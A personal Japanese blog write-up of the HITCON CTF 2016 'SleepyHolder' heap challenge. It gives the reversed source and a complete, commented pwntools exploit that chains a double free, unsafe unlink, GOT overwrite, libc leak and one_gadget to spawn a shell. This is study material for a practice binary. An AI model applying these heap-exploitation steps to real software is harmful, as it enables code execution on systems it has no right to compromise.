fr33f0r4ll

自分用雑記

Heap exploitation HITCON CTF 2016: SleepyHolder

Heap exploitationのお勉強、HITCON2016 SleepyHolderを解いたのでそのメモ。

問題

問題自体はここから、参考にしたWriteupはここ

shellphishの方のリンクはヒントも載っている上にlibcがないので見ない方がいいかも。

SleepyHolderというプログラムとlibcが降ってくる。

解析

リバースしたソースコードはこんな感じ。

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>

void keep();
void wipe();
void renew();

int main(int argc, char** argv){
  // setvbuf
  // put Waking holder
  int rand_fd = open("/dev/urandom", 0);
  int rand_num;
  read(rand_fd, &rand_num, sizeof(int)); // size 4
  rand_num &= 0xfff;

  malloc(rand_num);
  sleep(3);

  // puts, have secret?
  // puts, help

  while(1) {
    // 1 keep secret
    // 2 wipe secret
    // 3 renew secret

    int input_num;
    char buf[4];
    memset(buf, 0, sizeof(buf));
    read(0, buf, sizeof(buf));
    input_num = atoi(buf);

    switch(input_num) {
    case 1:
      keep();
      break;
    case 2:
      wipe();
      break;
    case 3:
      renew();
      break;
    default:
      break;
    }
  }

  return 0;
}

char* big_secret; // c0
char* huge_secret; // c8
char* small_secret; // d0
int big_flg; // d8
int huge_lock; // dc
int small_flg; // e0

void keep() {
  // 1. small secret
  // 2. big secret

  if(huge_lock == 0) {
    // 3. keep huge and lock
  }

  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    if(small_flg == 0) {
      small_secret = calloc(1, 0x28);
      small_flg = 1;

      // puts, tell secret
      read(0, small_secret, 0x28);
    }
    break;
  case 2:
    if(big_flg == 0) {
      big_secret = calloc(1, 0xfa0);
      big_flg = 1;

      // puts, tell secret
      read(0, big_secret, 0xfa0);
    }
    break;
  case 3:
    if(huge_lock == 0) {
      huge_secret = calloc(1, 0x61a80); // huge
      huge_lock = 1;
      // puts, tell secret
      read(0, huge_secret, 0x61a80);
    }
    break;
  default:
    break;
  }
}

void wipe() {
  // puts, which wipe
  // 1. small
  // 2. big
  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    free(small_secret);
    small_flg = 0;
    break;
  case 2:
    free(big_secret);
    big_flg = 0;
    break;
  default:
    break;
  }
}

void renew() {
  // puts, which renew?
  // 1. small: 0x28, fastbin?
  // 2. big: 0xfa0, largebin?
  char buf[4];
  memset(buf, 0, sizeof(buf));
  read(0, buf, sizeof(buf));
  int input_num = atoi(buf);

  switch(input_num) {
  case 1:
    if(small_flg != 0) {
      // puts, tell
      read(0, small_secret, 0x28);
    }
    break;
  case 2:
    if(big_flg != 0) {
      // puts, tell
      read(0, big_secret, 0xfa0);
    }
    break;
  default:
    break;
  }
}

freeするときにチェックがないことから、double freeができそうというのが分かる。
shellphishの方を見てると、巨大な領域を確保することから連続してfastbinをdouble freeすることも分かる。
それ以上は分からなかった。

ここでもうwriteupを見て、exploitを解析しながら解いた。
unsafe unlinkも同時に使うらしい。
unsafe unlinkはkatagaitai勉強会の第1回目のスライドを参考にした。

exploit

手順としては、まず巨大な領域のmallocを利用してdouble freeをしたあと、偽のチャンクヘッダを作成してからunlinkして、unsafe unlinkを成立させる。
unsafe unlinkによってグローバル領域にあるsmall_secretにはsmall_secret+0x18の値が格納される。
次に、small_secret+0x18に書き込みをしてグローバル変数を改ざんする。
big_secretにfree@GOTを格納することで、freeの呼び出しをputsの呼び出しにする。
これでputs@PLTを出力してlibcベースを特定し、そこからoneshot gadgetでsystemを起動できるアドレスを取得する。
次に、small_secretのアドレスをまた書き換えてputs@GOTにし、そこにoneshot gadgetを設定する。
これで次のputsの呼び出しでシェルが起動できる。

exploitはこんな感じ、ほとんどwriteupの方のコピーで動作のメモをしただけ。
タイミングの問題か、引数でDEBUGを指定しないとうまく動いてくれない。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './SleepyHolder'
libc = './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)
libc = ELF(libc)

io.recvuntil("Hey! Do you have any secret?")


def keep(size_idx, payload):
    io.sendlineafter('3. Renew secret\n', '1')
    io.sendline(str(size_idx))
    io.sendafter('Tell me your secret: ', payload)


def wipe(size_idx):
    io.sendlineafter('3. Renew secret\n', '2')
    io.sendlineafter('2. Big secret\n', str(size_idx))


def renew(size_idx, payload):
    io.sendlineafter('3. Renew secret\n', '3')
    io.sendline(str(size_idx))
    io.sendafter('Tell me your secret: ', payload)


def unlink(small_ptr):
    # small_secretに格納されているアドレスを、unsafe unlinkで自身の上位にある領域のアドレスにする

    keep(1, "AAAA")  # small_secret, fastbin
    keep(2, "AAAA")  # big_secret, large bin
    wipe(1)
    keep(3, "AAAA")  # 巨大な領域を確保すると、fastbinsに繋がれているチャンクがunsortedbinに移される
    wipe(1)  # unsortedbinに移ったため、fastbinでのチェックがなくなるためdouble-freeできる

    # 偽のfreeチャンクのヘッダを作る
    # 0はprev_size、0x21はサイズになる。1はPREV_INUSEのフラグで、unlinkさせないためにセット
    payload = p64(0) + p64(0x21)
    # 偽のfd、0x18はunlinkでのp->fd->bk == pのチェックを回避するため(bkは0x18分下の位置)
    payload += p64(small_ptr - 0x18)
    # 偽のbk、0x10はp->BK->FD == pのチェックを回避するため(fdは0x10分したの位置)
    payload += p64(small_ptr - 0x10)
    payload += p64(0x20)  # 偽のprev_size、チェックがあるので整合を保つ
    keep(1, payload)

    wipe(2)  # unsafe unlink
    # fastbinを格納しているアドレスが格納されているグローバル領域をunlinkで書き換えられた
    # 具体的には自身より-0x18の位置(bk)を指している
    # グローバル変数のレイアウト
    # char* big_secret; // c0
    # char* huge_secret; // c8
    # char* small_secret; // d0
    # int big_flg; // d8
    # int huge_lock; // dc
    # int small_flg; // e0
    # small_secretへの書き込みで、big_secretなどの値を書き換えられる


def leak(big_ptr):
    # small_secretが指す領域を書き換えて、グローバル変数が指す値を改ざんする
    payload = "A" * 8  # small_secret - 0x18への書き込み、何もないのでパディング
    payload += p64(elf.got['free'])  # big_secretへの書き込み、free@GOTを指すようにする
    payload += "A" * 8  # huge_secretはもう使わないので適当に埋める
    payload += p64(big_ptr)  # small_secretはbig_secretを指しっぱなしにする
    payload += p32(1)  # big_flagを1に、mallocで確保されていることにする
    # これで、GOTのfreeのアドレスを書き換えて好きな関数を呼び出せるようになる

    # unlinkでsmall_secretが書き換えられたので、renewではbig_secretへと書き込まれる
    renew(1, payload)
    renew(2, p64(elf.plt['puts']))  # free@GOT -> puts@PLT
    renew(1, p64(elf.got['puts']))

    wipe(2)  # free@GOTにputs@PLTが書き込まれているので、putsが呼び出される
    # 引数はbig_secretなので、renew(2, )で書き込まれたputs@PLTが出力される
    # libc内の関数のアドレスが分かったので、オフセットからlibcベースが分かる
    puts_addr = u64(io.recvline()[:6] + "\x00\x00")
    libc_base = puts_addr - libc.symbols['puts']
    one_gadget = libc_base + 0x4525a  # one_gadgetを使ってsystemを起動できるアドレスを探す

    log.info("libc base: 0x%x" % libc_base)
    log.info("one_gadget address: 0x%x" % one_gadget)

    return one_gadget


def pwn(one_gadget):
    payload = "A" * 0x10  # padding
    payload += p64(elf.got['puts'])  # small_secretにputs@GOTをセット
    renew(1, payload)

    renew(1, p64(one_gadget))  # putsでone_gadgetが呼び出せるように


small_ptr = 0x006020d0
big_ptr = 0x006020c0

log.info('Unsafe unlink')
unlink(small_ptr)
log.info('Leak libc')
one_gadget = leak(big_ptr)
log.info('PWN!')
pwn(one_gadget)
io.interactive()

学んだこと

unsafe unlink